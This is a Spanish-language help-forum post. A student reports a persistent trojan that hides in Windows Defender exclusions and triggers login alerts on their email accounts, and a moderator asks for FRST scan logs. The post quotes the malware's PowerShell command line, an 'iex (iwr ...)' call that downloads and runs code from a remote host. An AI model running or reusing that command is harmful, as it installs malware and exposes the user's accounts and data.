Un Troyano está usando Powershell para ejecutarse

KAS 0 Reputation points
2026-09-06T14:24:15.99+00:00

Hola buenos días. Soy estudiante de ING y al momento de instalar un programa supuestamente bajo "Link Seguro" se me instalo algo que megamente no me deja desinstalarlo o eliminarlo con nada ya probé todo método conocido ( Tron, Escaneos, Modo seguro, Propios scripts para PowerShell,Formatos normales y Desde 0, Etc) . Cabe aclarar Windows defender no me notificó que la instalación era peligrosa. A los dos días comenzar a recibir notificaciones de inicios de seccion en mis correos. Ya cambié y active Verificaciones en todas mis cuentas posibles y de valor. Sospecho obviamente que el Virus está metido demasiado en la PC como para eliminarlo de cualquier manera.

EL PROBLEMA:

El programa se esconde en exclusiones ( Ya intenté sacarlo como fuera nada sirve )

C:\WINDOWS\System32

CmdLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command iex (iwr -useb red-field-x8.inquees

Powershell.EXE

Crea una carpeta Node.exe ( cuadro verde ) se vuelve a instalar o aparecer luego de un reinicio o tiempo.

El programa crea un archivo V.1.0 y algunos más dentro de System 32

Mi última opción sería Reinstalar todo desde 0 con una USB con Windows no tengo conocimiento para hacerlo y menos para pagarlo ya que por ahora sigo estudiando si alguno dejaré toda la información que recopile abajo con imágenes espero puedan ayudarme por si me podrían dar más información o una solución definitiva dejaré mi discord : [eliminado para proteger la privacidad] ( por favor necesito su ayuda )

Microsoft Security | Microsoft Defender | Other
0 comments No comments

1 answer

Sort by: Newest
  1. _AW_ 69,041 Reputation points Volunteer Moderator
    2026-09-06T23:37:30.6233333+00:00

    Please provide Farbar Recovery Scan Tool (FRST) logs for analysis.

    https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

    Note: If you are using Edge or Chrome, SmartScreen may initially block the download. Click on the three dots next to the warning and select Keep => Click the Delete drop arrow => Keep anyway.

    • If your computer's language is not English, rename FRST64.exe to FRST64English.exe
    • Run the tool, leave the default settings, and press Scan.
    • Zip the logs, FRST.txt and Addition.txt, then upload to a cloud storage service like OneDrive, Google Drive or gofile.io
    • Post the share link.

    https://support.microsoft.com/en-us/office/share-onedrive-files-and-folders-9fcc2f7d-de0c-4cec-93b0-a82024800c07

    Was this answer helpful?

    0 comments No comments

Your answer

Answers can be marked as 'Accepted' by the question author and 'Recommended' by moderators, which helps users know the answer solved the author's problem.